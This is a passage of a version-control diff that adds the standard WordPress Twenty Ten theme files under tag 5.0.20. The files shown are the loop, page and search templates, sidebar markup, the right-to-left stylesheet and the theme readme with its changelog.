+<?php endif; ?>
+						</div><!-- .entry-attachment -->
+						<div class="entry-caption"><?php if ( ! empty( $post->post_excerpt ) ) the_excerpt(); ?></div>
+
+<?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyten' ) ); ?>
+<?php wp_link_pages( array( 'before' => '<div class="page-link">' . __( 'Pages:', 'twentyten' ), 'after' => '</div>' ) ); ?>
+
+					</div><!-- .entry-content -->
+
+					<div class="entry-utility">
+						<?php twentyten_posted_in(); ?>
+						<?php edit_post_link( __( 'Edit', 'twentyten' ), ' <span class="edit-link">', '</span>' ); ?>
+					</div><!-- .entry-utility -->
+				</div><!-- #post-## -->
+
+<?php comments_template(); ?>
+
+<?php endwhile; // end of the loop. ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyten/loop-page.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyten/loop-page.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyten/loop-page.php	(revision 56912)
@@ -0,0 +1,36 @@
+<?php
+/**
+ * The loop that displays a page
+ *
+ * The loop displays the posts and the post content. See
+ * https://codex.wordpress.org/The_Loop to understand it and
+ * https://codex.wordpress.org/Template_Tags to understand
+ * the tags used in it.
+ *
+ * This can be overridden in child themes with loop-page.php.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.2
+ */
+?>
+
+<?php if ( have_posts() ) while ( have_posts() ) : the_post(); ?>
+
+				<div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+					<?php if ( is_front_page() ) { ?>
+						<h2 class="entry-title"><?php the_title(); ?></h2>
+					<?php } else { ?>
+						<h1 class="entry-title"><?php the_title(); ?></h1>
+					<?php } ?>
+
+					<div class="entry-content">
+						<?php the_content(); ?>
+						<?php wp_link_pages( array( 'before' => '<div class="page-link">' . __( 'Pages:', 'twentyten' ), 'after' => '</div>' ) ); ?>
+						<?php edit_post_link( __( 'Edit', 'twentyten' ), '<span class="edit-link">', '</span>' ); ?>
+					</div><!-- .entry-content -->
+				</div><!-- #post-## -->
+
+				<?php comments_template( '', true ); ?>
+
+<?php endwhile; // end of the loop. ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyten/loop-single.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyten/loop-single.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyten/loop-single.php	(revision 56912)
@@ -0,0 +1,70 @@
+<?php
+/**
+ * The loop that displays a single post
+ *
+ * The loop displays the posts and the post content. See
+ * https://codex.wordpress.org/The_Loop to understand it and
+ * https://codex.wordpress.org/Template_Tags to understand
+ * the tags used in it.
+ *
+ * This can be overridden in child themes with loop-single.php.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.2
+ */
+?>
+
+<?php if ( have_posts() ) while ( have_posts() ) : the_post(); ?>
+
+				<div id="nav-above" class="navigation">
+					<div class="nav-previous"><?php previous_post_link( '%link', '<span class="meta-nav">' . _x( '&larr;', 'Previous post link', 'twentyten' ) . '</span> %title' ); ?></div>
+					<div class="nav-next"><?php next_post_link( '%link', '%title <span class="meta-nav">' . _x( '&rarr;', 'Next post link', 'twentyten' ) . '</span>' ); ?></div>
+				</div><!-- #nav-above -->
+
+				<div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+					<h1 class="entry-title"><?php the_title(); ?></h1>
+
+					<div class="entry-meta">
+						<?php twentyten_posted_on(); ?>
+					</div><!-- .entry-meta -->
+
+					<div class="entry-content">
+						<?php the_content(); ?>
+						<?php wp_link_pages( array( 'before' => '<div class="page-link">' . __( 'Pages:', 'twentyten' ), 'after' => '</div>' ) ); ?>
+					</div><!-- .entry-content -->
+
+<?php if ( get_the_author_meta( 'description' ) ) : // If a user has filled out their description, show a bio on their entries  ?>
+					<div id="entry-author-info">
+						<div id="author-avatar">
+							<?php
+							/** This filter is documented in author.php */
+							echo get_avatar( get_the_author_meta( 'user_email' ), apply_filters( 'twentyten_author_bio_avatar_size', 60 ) );
+							?>
+						</div><!-- #author-avatar -->
+						<div id="author-description">
+							<h2><?php printf( __( 'About %s', 'twentyten' ), get_the_author() ); ?></h2>
+							<?php the_author_meta( 'description' ); ?>
+							<div id="author-link">
+								<a href="<?php echo esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ); ?>" rel="author">
+									<?php printf( __( 'View all posts by %s <span class="meta-nav">&rarr;</span>', 'twentyten' ), get_the_author() ); ?>
+								</a>
+							</div><!-- #author-link	-->
+						</div><!-- #author-description -->
+					</div><!-- #entry-author-info -->
+<?php endif; ?>
+
+					<div class="entry-utility">
+						<?php twentyten_posted_in(); ?>
+						<?php edit_post_link( __( 'Edit', 'twentyten' ), '<span class="edit-link">', '</span>' ); ?>
+					</div><!-- .entry-utility -->
+				</div><!-- #post-## -->
+
+				<div id="nav-below" class="navigation">
+					<div class="nav-previous"><?php previous_post_link( '%link', '<span class="meta-nav">' . _x( '&larr;', 'Previous post link', 'twentyten' ) . '</span> %title' ); ?></div>
+					<div class="nav-next"><?php next_post_link( '%link', '%title <span class="meta-nav">' . _x( '&rarr;', 'Next post link', 'twentyten' ) . '</span>' ); ?></div>
+				</div><!-- #nav-below -->
+
+				<?php comments_template( '', true ); ?>
+
+<?php endwhile; // end of the loop. ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyten/loop.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyten/loop.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyten/loop.php	(revision 56912)
@@ -0,0 +1,182 @@
+<?php
+/**
+ * The loop that displays posts
+ *
+ * The loop displays the posts and the post content. See
+ * https://codex.wordpress.org/The_Loop to understand it and
+ * https://codex.wordpress.org/Template_Tags to understand
+ * the tags used in it.
+ *
+ * This can be overridden in child themes with loop.php or
+ * loop-template.php, where 'template' is the loop context
+ * requested by a template. For example, loop-index.php would
+ * be used if it exists and we ask for the loop with:
+ * <code>get_template_part( 'loop', 'index' );</code>
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+?>
+
+<?php /* Display navigation to next/previous pages when applicable */ ?>
+<?php if ( $wp_query->max_num_pages > 1 ) : ?>
+	<div id="nav-above" class="navigation">
+		<div class="nav-previous"><?php next_posts_link( __( '<span class="meta-nav">&larr;</span> Older posts', 'twentyten' ) ); ?></div>
+		<div class="nav-next"><?php previous_posts_link( __( 'Newer posts <span class="meta-nav">&rarr;</span>', 'twentyten' ) ); ?></div>
+	</div><!-- #nav-above -->
+<?php endif; ?>
+
+<?php /* If there are no posts to display, such as an empty archive page */ ?>
+<?php if ( ! have_posts() ) : ?>
+	<div id="post-0" class="post error404 not-found">
+		<h1 class="entry-title"><?php _e( 'Not Found', 'twentyten' ); ?></h1>
+		<div class="entry-content">
+			<p><?php _e( 'Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post.', 'twentyten' ); ?></p>
+			<?php get_search_form(); ?>
+		</div><!-- .entry-content -->
+	</div><!-- #post-0 -->
+<?php endif; ?>
+
+<?php
+	/*
+	 * Start the Loop.
+	 *
+	 * In Twenty Ten we use the same loop in multiple contexts.
+	 * It is broken into three main parts: when we're displaying
+	 * posts that are in the gallery category, when we're displaying
+	 * posts in the asides category, and finally all other posts.
+	 *
+	 * Additionally, we sometimes check for whether we are on an
+	 * archive page, a search page, etc., allowing for small differences
+	 * in the loop on each template without actually duplicating
+	 * the rest of the loop that is shared.
+	 *
+	 * Without further ado, the loop:
+	 */
+?>
+<?php while ( have_posts() ) : the_post(); ?>
+
+<?php /* How to display posts of the Gallery format. The gallery category is the old way. */ ?>
+
+	<?php if ( ( function_exists( 'get_post_format' ) && 'gallery' == get_post_format( $post->ID ) ) || in_category( _x( 'gallery', 'gallery category slug', 'twentyten' ) ) ) : ?>
+		<div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+			<h2 class="entry-title"><a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a></h2>
+
+			<div class="entry-meta">
+				<?php twentyten_posted_on(); ?>
+			</div><!-- .entry-meta -->
+
+			<div class="entry-content">
+<?php if ( post_password_required() ) : ?>
+				<?php the_content(); ?>
+<?php else : ?>
+				<?php
+					$images = twentyten_get_gallery_images();
+					if ( $images ) :
+						$total_images = count( $images );
+						$image = reset( $images );
+				?>
+						<div class="gallery-thumb">
+							<a class="size-thumbnail" href="<?php the_permalink(); ?>"><?php echo wp_get_attachment_image( $image, 'thumbnail' ); ?></a>
+						</div><!-- .gallery-thumb -->
+						<p><em><?php printf( _n( 'This gallery contains <a %1$s>%2$s photo</a>.', 'This gallery contains <a %1$s>%2$s photos</a>.', $total_images, 'twentyten' ),
+								'href="' . esc_url( get_permalink() ) . '" title="' . esc_attr( sprintf( __( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ) ) . '" rel="bookmark"',
+								number_format_i18n( $total_images )
+							); ?></em></p>
+				<?php endif; // end twentyten_get_gallery_images() check ?>
+						<?php the_excerpt(); ?>
+<?php endif; ?>
+			</div><!-- .entry-content -->
+
+			<div class="entry-utility">
+			<?php if ( function_exists( 'get_post_format' ) && 'gallery' == get_post_format( $post->ID ) ) : ?>
+				<a href="<?php echo esc_url( get_post_format_link( 'gallery' ) ); ?>" title="<?php esc_attr_e( 'View Galleries', 'twentyten' ); ?>"><?php _e( 'More Galleries', 'twentyten' ); ?></a>
+				<span class="meta-sep">|</span>
+			<?php elseif ( $gallery = get_term_by( 'slug', _x( 'gallery', 'gallery category slug', 'twentyten' ), 'category' ) && in_category( $gallery->term_id ) ) : ?>
+				<a href="<?php echo esc_url( get_category_link( $gallery ) ); ?>" title="<?php esc_attr_e( 'View posts in the Gallery category', 'twentyten' ); ?>"><?php _e( 'More Galleries', 'twentyten' ); ?></a>
+				<span class="meta-sep">|</span>
+			<?php endif; ?>
+				<span class="comments-link"><?php comments_popup_link( __( 'Leave a comment', 'twentyten' ), __( '1 Comment', 'twentyten' ), __( '% Comments', 'twentyten' ) ); ?></span>
+				<?php edit_post_link( __( 'Edit', 'twentyten' ), '<span class="meta-sep">|</span> <span class="edit-link">', '</span>' ); ?>
+			</div><!-- .entry-utility -->
+		</div><!-- #post-## -->
+
+<?php /* How to display posts of the Aside format. The asides category is the old way. */ ?>
+
+	<?php elseif ( ( function_exists( 'get_post_format' ) && 'aside' == get_post_format( $post->ID ) ) || in_category( _x( 'asides', 'asides category slug', 'twentyten' ) )  ) : ?>
+		<div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+
+		<?php if ( is_archive() || is_search() ) : // Display excerpts for archives and search. ?>
+			<div class="entry-summary">
+				<?php the_excerpt(); ?>
+			</div><!-- .entry-summary -->
+		<?php else : ?>
+			<div class="entry-content">
+				<?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyten' ) ); ?>
+			</div><!-- .entry-content -->
+		<?php endif; ?>
+
+			<div class="entry-utility">
+				<?php twentyten_posted_on(); ?>
+				<span class="meta-sep">|</span>
+				<span class="comments-link"><?php comments_popup_link( __( 'Leave a comment', 'twentyten' ), __( '1 Comment', 'twentyten' ), __( '% Comments', 'twentyten' ) ); ?></span>
+				<?php edit_post_link( __( 'Edit', 'twentyten' ), '<span class="meta-sep">|</span> <span class="edit-link">', '</span>' ); ?>
+			</div><!-- .entry-utility -->
+		</div><!-- #post-## -->
+
+<?php /* How to display all other posts. */ ?>
+
+	<?php else : ?>
+		<div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+			<h2 class="entry-title"><a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a></h2>
+
+			<div class="entry-meta">
+				<?php twentyten_posted_on(); ?>
+			</div><!-- .entry-meta -->
+
+	<?php if ( is_archive() || is_search() ) : // Only display excerpts for archives and search. ?>
+			<div class="entry-summary">
+				<?php the_excerpt(); ?>
+			</div><!-- .entry-summary -->
+	<?php else : ?>
+			<div class="entry-content">
+				<?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyten' ) ); ?>
+				<?php wp_link_pages( array( 'before' => '<div class="page-link">' . __( 'Pages:', 'twentyten' ), 'after' => '</div>' ) ); ?>
+			</div><!-- .entry-content -->
+	<?php endif; ?>
+
+			<div class="entry-utility">
+				<?php if ( count( get_the_category() ) ) : ?>
+					<span class="cat-links">
+						<?php printf( __( '<span class="%1$s">Posted in</span> %2$s', 'twentyten' ), 'entry-utility-prep entry-utility-prep-cat-links', get_the_category_list( ', ' ) ); ?>
+					</span>
+					<span class="meta-sep">|</span>
+				<?php endif; ?>
+				<?php
+					$tags_list = get_the_tag_list( '', ', ' );
+					if ( $tags_list ):
+				?>
+					<span class="tag-links">
+						<?php printf( __( '<span class="%1$s">Tagged</span> %2$s', 'twentyten' ), 'entry-utility-prep entry-utility-prep-tag-links', $tags_list ); ?>
+					</span>
+					<span class="meta-sep">|</span>
+				<?php endif; ?>
+				<span class="comments-link"><?php comments_popup_link( __( 'Leave a comment', 'twentyten' ), __( '1 Comment', 'twentyten' ), __( '% Comments', 'twentyten' ) ); ?></span>
+				<?php edit_post_link( __( 'Edit', 'twentyten' ), '<span class="meta-sep">|</span> <span class="edit-link">', '</span>' ); ?>
+			</div><!-- .entry-utility -->
+		</div><!-- #post-## -->
+
+		<?php comments_template( '', true ); ?>
+
+	<?php endif; // This was the if statement that broke the loop into three parts based on categories. ?>
+
+<?php endwhile; // End the loop. Whew. ?>
+
+<?php /* Display navigation to next/previous pages when applicable */ ?>
+<?php if (  $wp_query->max_num_pages > 1 ) : ?>
+				<div id="nav-below" class="navigation">
+					<div class="nav-previous"><?php next_posts_link( __( '<span class="meta-nav">&larr;</span> Older posts', 'twentyten' ) ); ?></div>
+					<div class="nav-next"><?php previous_posts_link( __( 'Newer posts <span class="meta-nav">&rarr;</span>', 'twentyten' ) ); ?></div>
+				</div><!-- #nav-below -->
+<?php endif; ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyten/onecolumn-page.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyten/onecolumn-page.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyten/onecolumn-page.php	(revision 56912)
@@ -0,0 +1,32 @@
+<?php
+/**
+ * Template Name: One column, no sidebar
+ *
+ * A custom page template without sidebar.
+ *
+ * The "Template Name:" bit above allows this to be selectable
+ * from a dropdown menu on the edit page screen.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+
+get_header(); ?>
+
+		<div id="container" class="one-column">
+			<div id="content" role="main">
+
+			<?php
+			/*
+			 * Run the loop to output the page.
+			 * If you want to overload this in a child theme then include a file
+			 * called loop-page.php and that will be used instead.
+			 */
+			get_template_part( 'loop', 'page' );
+			?>
+
+			</div><!-- #content -->
+		</div><!-- #container -->
+
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyten/page.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyten/page.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyten/page.php	(revision 56912)
@@ -0,0 +1,33 @@
+<?php
+/**
+ * Template for displaying all pages
+ *
+ * This is the template that displays all pages by default.
+ * Please note that this is the WordPress construct of pages
+ * and that other 'pages' on your WordPress site will use a
+ * different template.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+
+get_header(); ?>
+
+		<div id="container">
+			<div id="content" role="main">
+
+			<?php
+			/*
+			 * Run the loop to output the page.
+			 * If you want to overload this in a child theme then include a file
+			 * called loop-page.php and that will be used instead.
+			 */
+			get_template_part( 'loop', 'page' );
+			?>
+
+			</div><!-- #content -->
+		</div><!-- #container -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyten/readme.txt
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyten/readme.txt	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyten/readme.txt	(revision 56912)
@@ -0,0 +1,128 @@
+=== Twenty Ten ===
+Contributors: the WordPress team
+Requires at least: WordPress 3.0
+Tested up to: WordPress 5.0
+Stable tag: 2.7
+License: GPLv2 or later
+License URI: http://www.gnu.org/licenses/gpl-2.0.html
+Tags: blog, two-columns, custom-header, custom-background, threaded-comments, sticky-post, translation-ready, microformats, rtl-language-support, editor-style, custom-menu, flexible-header, featured-images, footer-widgets, featured-image-header
+
+== Description ==
+The 2010 theme for WordPress is stylish, customizable, simple, and readable -- make it yours with a custom menu, header image, and background. Twenty Ten supports six widgetized areas (two in the sidebar, four in the footer) and featured images (thumbnails for gallery posts and custom header images for posts and pages). It includes stylesheets for print and the admin Visual Editor, special styles for posts in the "Asides" and "Gallery" categories, and has an optional one-column page template that removes the sidebar.
+
+For more information about Twenty Ten theme please go to https://codex.wordpress.org/Twenty_Ten.
+
+== Installation ==
+
+1. In your admin panel, go to Appearance -> Themes and click the 'Add New' button.
+2. Type in Twenty Ten in the search form and press the 'Enter' key in your keyboard.
+3. Click on the 'Activate' button to use your new theme right away.
+4. Go to https://codex.wordpress.org/Twenty_Ten for a guide to customize this theme.
+5. Navigate to Appearance > Customize in your admin panel.
+
+== Copyright ==
+
+Twenty Ten WordPress Theme, Copyright 2010-2018 WordPress.org & Automattic.com
+Twenty Ten is Distributed under the terms of the GNU GPL
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 2 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU General Public License for more details.
+
+== Changelog ==
+
+= 2.7 =
+* Released: December 19, 2018
+
+https://codex.wordpress.org/Twenty_Ten_Theme_Changelog#Version_2.7
+
+= 2.6 =
+* Released: December 6, 2018
+
+https://codex.wordpress.org/Twenty_Ten_Theme_Changelog#Version_2.6
+
+= 2.5 =
+* Released: May 17, 2018
+
+https://codex.wordpress.org/Twenty_Ten_Theme_Changelog#Version_2.5
+
+= 2.4 =
+* Released: November 14, 2017
+
+https://codex.wordpress.org/Twenty_Ten_Theme_Changelog#Version_2.4
+
+= 2.3 =
+* Released: June 8, 2017
+
+https://codex.wordpress.org/Twenty_Ten_Theme_Changelog#Version_2.3
+
+= 2.2 =
+* Released: August 15, 2016
+
+https://codex.wordpress.org/Twenty_Ten_Theme_Changelog#Version_2.2
+
+= 2.1 =
+* Released: December 8, 2015
+
+https://codex.wordpress.org/Twenty_Ten_Theme_Changelog#Version_2.1
+
+= 2.0 =
+* Released: August 18, 2015
+
+https://codex.wordpress.org/Twenty_Ten_Theme_Changelog#Version_2.0
+
+= 1.9 =
+* Released: April 23, 2015
+
+https://codex.wordpress.org/Twenty_Ten_Theme_Changelog#Version_1.9
+
+= 1.8 =
+* Released: December 18, 2014
+
+https://codex.wordpress.org/Twenty_Ten_Theme_Changelog#Version_1.8
+
+= 1.7 =
+* Released: September 4, 2014
+
+https://codex.wordpress.org/Twenty_Ten_Theme_Changelog#Version_1.7
+
+= 1.6 =
+* Released: August 1, 2013
+
+https://codex.wordpress.org/Twenty_Ten_Theme_Changelog#Version_1.6
+
+= 1.5 =
+* Released: December 11, 2012
+
+https://codex.wordpress.org/Twenty_Ten_Theme_Changelog#Version_1.5
+
+= 1.4 =
+* Released: June 13, 2012
+
+https://codex.wordpress.org/Twenty_Ten_Theme_Changelog#Version_1.4
+
+= 1.3 =
+* Released: December 12, 2011
+
+https://codex.wordpress.org/Twenty_Ten_Theme_Changelog#Version_1.3
+
+= 1.2 =
+* Released: February 23, 2011
+
+https://codex.wordpress.org/Twenty_Ten_Theme_Changelog#Version_1.2
+
+= 1.1 =
+* Released: July 29, 2010
+
+https://codex.wordpress.org/Twenty_Ten_Theme_Changelog#Version_1.1
+
+= 1.0 =
+* Released: June 17, 2010
+
+Initial release.
Index: /tags/5.0.20/src/wp-content/themes/twentyten/rtl.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyten/rtl.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyten/rtl.css	(revision 56912)
@@ -0,0 +1,290 @@
+/*
+Theme Name: Twenty Ten
+*/
+
+
+/*
+RTL Basics
+*/
+
+
+body {
+	direction:rtl;
+	unicode-bidi:embed;
+}
+
+
+/*
+LAYOUT: Two-Column (Right)
+DESCRIPTION: Two-column fixed layout with one sidebar right of content
+*/
+
+#container {
+	float: right;
+	margin: 0 0 0 -240px;
+}
+#content {
+	margin: 0 20px 36px 280px;
+}
+#primary,
+#secondary {
+	float: left;
+}
+#secondary {
+	clear: left;
+}
+
+
+/* =Fonts
+-------------------------------------------------------------- */
+body,
+input,
+textarea,
+.page-title span,
+.pingback a.url,
+h3#comments-title,
+h3#reply-title,
+#access .menu,
+#access div.menu ul,
+#cancel-comment-reply-link,
+.form-allowed-tags,
+#site-info,
+#site-title,
+#wp-calendar,
+.comment-meta,
+.comment-body tr th,
+.comment-body thead th,
+.entry-content label,
+.entry-content tr th,
+.entry-content thead th,
+.entry-meta,
+.entry-title,
+.entry-utility,
+#respond label,
+.navigation,
+.page-title,
+.pingback p,
+.reply,
+.widget-title,
+input[type="submit"] {
+	font-family: Arial, Tahoma, sans-serif;
+}
+
+/* =Structure
+-------------------------------------------------------------- */
+
+/* The main theme structure */
+#footer-widget-area .widget-area {
+	float: right;
+	margin-left: 20px;
+	margin-right: 0;
+}
+#footer-widget-area #fourth {
+	margin-left: 0;
+}
+#site-info {
+	float: right;
+}
+#site-generator {
+	float: left;
+}
+
+
+/* =Global Elements
+-------------------------------------------------------------- */
+
+/* Text elements */
+ul, ol {
+	margin: 0 1.5em 18px 0;
+}
+blockquote {
+	font-style: normal;
+}
+
+
+/* =Header
+-------------------------------------------------------------- */
+
+#site-title {
+	float: right;
+}
+#site-description {
+	clear: left;
+	float: left;
+	font-style: normal;
+}
+#branding img {
+	float: right;
+}
+
+/* =Menu
+-------------------------------------------------------------- */
+
+#access {
+	float:right;
+}
+
+#access .menu-header,
+div.menu {
+	margin-right: 12px;
+	margin-left: 0;
+}
+
+#access .menu-header li,
+div.menu li{
+	float:right;
+}
+
+#access ul ul {
+	left:auto;
+	right:0;
+	float:right;
+}
+#access ul ul ul {
+	left:auto;
+	right:100%;
+}
+
+/* =Content
+-------------------------------------------------------------- */
+
+#content table {
+	text-align: right;
+	margin: 0 0 24px -1px;
+}
+.page-title span {
+	font-style:normal;
+}
+.entry-title,
+.entry-meta {
+	clear: right;
+	float: right;
+	margin-left: 68px;
+	margin-right: 0;
+}
+
+.entry-content input.file,
+.entry-content input.button {
+	margin-left: 24px;
+	margin-right:0;
+}
+.entry-content blockquote.left {
+	float: right;
+	margin-right: 0;
+	margin-left: 24px;
+	text-align: left;
+}
+.entry-content blockquote.right {
+	float: left;
+	margin-right: 24px;
+	margin-left: 0;
+	text-align: right;
+}
+#entry-author-info #author-avatar {
+	float: right;
+	margin: 0 0 0 -104px;
+}
+#entry-author-info #author-description {
+	float: right;
+	margin: 0 104px 0 0;
+}
+
+/* Gallery listing
+-------------------------------------------------------------- */
+
+.category-gallery .gallery-thumb {
+	float: right;
+	margin-left:20px;
+	margin-right:0;
+}
+
+
+/* Images
+-------------------------------------------------------------- */
+
+#content .gallery .gallery-caption {
+	margin-right: 0;
+}
+
+#content .gallery .gallery-item {
+	float: right;
+}
+
+/* =Navigation
+-------------------------------------------------------------- */
+.nav-previous {
+	float: right;
+}
+.nav-next {
+	float: left;
+	text-align:left;
+}
+
+/* =Comments
+-------------------------------------------------------------- */
+
+.commentlist li.comment {
+	padding: 0 56px 0 0;
+}
+.commentlist .avatar {
+	right: 0;
+	left: auto;
+}
+.comment-author .says, #comments .pingback .url  {
+	font-style: normal;
+}
+
+/* Comments form */
+.children #respond {
+	margin: 0 0 0 48px;
+}
+#respond #wp-comment-cookies-consent {
+	margin: 0 0 0 10px;
+}
+
+/* =Widget Areas
+-------------------------------------------------------------- */
+
+.widget-area ul {
+	margin-right: 0;
+}
+.widget-area ul ul {
+	margin-right: 1.3em;
+	margin-left: 0;
+}
+#wp-calendar caption {
+	text-align: right;
+}
+#wp-calendar tfoot #next {
+	text-align: left;
+}
+
+/* Main sidebars */
+#main .widget-area ul {
+	margin-right: 0;
+	padding: 0 0 0 20px;
+}
+#main .widget-area ul ul {
+	margin-right: 1.3em;
+	margin-left: 0;
+}
+.widget_text ol {
+	margin-left: auto;
+	margin-right: 1.3em;
+}
+
+#main .widget-area .tagcloud ul,
+.widget-area .tagcloud ul {
+	margin-right: 0;
+}
+
+/* =Footer
+-------------------------------------------------------------- */
+#site-generator {
+	font-style:normal;
+}
+#site-generator a {
+	background-position: right center;
+	padding-right: 20px;
+	padding-left: 0;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyten/search.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyten/search.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyten/search.php	(revision 56912)
@@ -0,0 +1,38 @@
+<?php
+/**
+ * Template for displaying Search Results pages
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+
+get_header(); ?>
+
+		<div id="container">
+			<div id="content" role="main">
+
+<?php if ( have_posts() ) : ?>
+				<h1 class="page-title"><?php printf( __( 'Search Results for: %s', 'twentyten' ), '<span>' . get_search_query() . '</span>' ); ?></h1>
+				<?php
+				/*
+				 * Run the loop for the search to output the results.
+				 * If you want to overload this in a child theme then include a file
+				 * called loop-search.php and that will be used instead.
+				 */
+				get_template_part( 'loop', 'search' );
+				?>
+<?php else : ?>
+				<div id="post-0" class="post no-results not-found">
+					<h2 class="entry-title"><?php _e( 'Nothing Found', 'twentyten' ); ?></h2>
+					<div class="entry-content">
+						<p><?php _e( 'Sorry, but nothing matched your search criteria. Please try again with some different keywords.', 'twentyten' ); ?></p>
+						<?php get_search_form(); ?>
+					</div><!-- .entry-content -->
+				</div><!-- #post-0 -->
+<?php endif; ?>
+			</div><!-- #content -->
+		</div><!-- #container -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyten/sidebar-footer.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyten/sidebar-footer.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyten/sidebar-footer.php	(revision 56912)
@@ -0,0 +1,61 @@
+<?php
+/**
+ * The Footer widget areas
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+?>
+
+<?php
+	/*
+	 * The footer widget area is triggered if any of the areas
+	 * have widgets. So let's check that first.
+	 *
+	 * If none of the sidebars have widgets, then let's bail early.
+	 */
+	if (   ! is_active_sidebar( 'first-footer-widget-area'  )
+		&& ! is_active_sidebar( 'second-footer-widget-area' )
+		&& ! is_active_sidebar( 'third-footer-widget-area'  )
+		&& ! is_active_sidebar( 'fourth-footer-widget-area' )
+	)
+		return;
+	// If we get this far, we have widgets. Let do this.
+?>
+
+			<div id="footer-widget-area" role="complementary">
+
+<?php if ( is_active_sidebar( 'first-footer-widget-area' ) ) : ?>
+				<div id="first" class="widget-area">
+					<ul class="xoxo">
+						<?php dynamic_sidebar( 'first-footer-widget-area' ); ?>
+					</ul>
+				</div><!-- #first .widget-area -->
+<?php endif; ?>
+
+<?php if ( is_active_sidebar( 'second-footer-widget-area' ) ) : ?>
+				<div id="second" class="widget-area">
+					<ul class="xoxo">
+						<?php dynamic_sidebar( 'second-footer-widget-area' ); ?>
+					</ul>
+				</div><!-- #second .widget-area -->
+<?php endif; ?>
+
+<?php if ( is_active_sidebar( 'third-footer-widget-area' ) ) : ?>
+				<div id="third" class="widget-area">
+					<ul class="xoxo">
+						<?php dynamic_sidebar( 'third-footer-widget-area' ); ?>
+					</ul>
+				</div><!-- #third .widget-area -->
+<?php endif; ?>
+
+<?php if ( is_active_sidebar( 'fourth-footer-widget-area' ) ) : ?>
+				<div id="fourth" class="widget-area">
+					<ul class="xoxo">
+						<?php dynamic_sidebar( 'fourth-footer-widget-area' ); ?>
+					</ul>
+				</div><!-- #fourth .widget-area -->
+<?php endif; ?>
+
+			</div><!-- #footer-widget-area -->
Index: /tags/5.0.20/src/wp-content/themes/twentyten/sidebar.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyten/sidebar.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyten/sidebar.php	(revision 56912)
@@ -0,0 +1,57 @@
+<?php
+/**
+ * Sidebar template containing the primary and secondary widget areas
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+?>
+
+		<div id="primary" class="widget-area" role="complementary">
+			<ul class="xoxo">
+
+<?php
+	/*
+	 * When we call the dynamic_sidebar() function, it'll spit out
+	 * the widgets for that widget area. If it instead returns false,
+	 * then the sidebar simply doesn't exist, so we'll hard-code in
+	 * some default sidebar stuff just in case.
+	 */
+	if ( ! dynamic_sidebar( 'primary-widget-area' ) ) : ?>
+
+			<li id="search" class="widget-container widget_search">
+				<?php get_search_form(); ?>
+			</li>
+
+			<li id="archives" class="widget-container">
+				<h3 class="widget-title"><?php _e( 'Archives', 'twentyten' ); ?></h3>
+				<ul>
+					<?php wp_get_archives( 'type=monthly' ); ?>
+				</ul>
+			</li>
+
+			<li id="meta" class="widget-container">
+				<h3 class="widget-title"><?php _e( 'Meta', 'twentyten' ); ?></h3>
+				<ul>
+					<?php wp_register(); ?>
+					<li><?php wp_loginout(); ?></li>
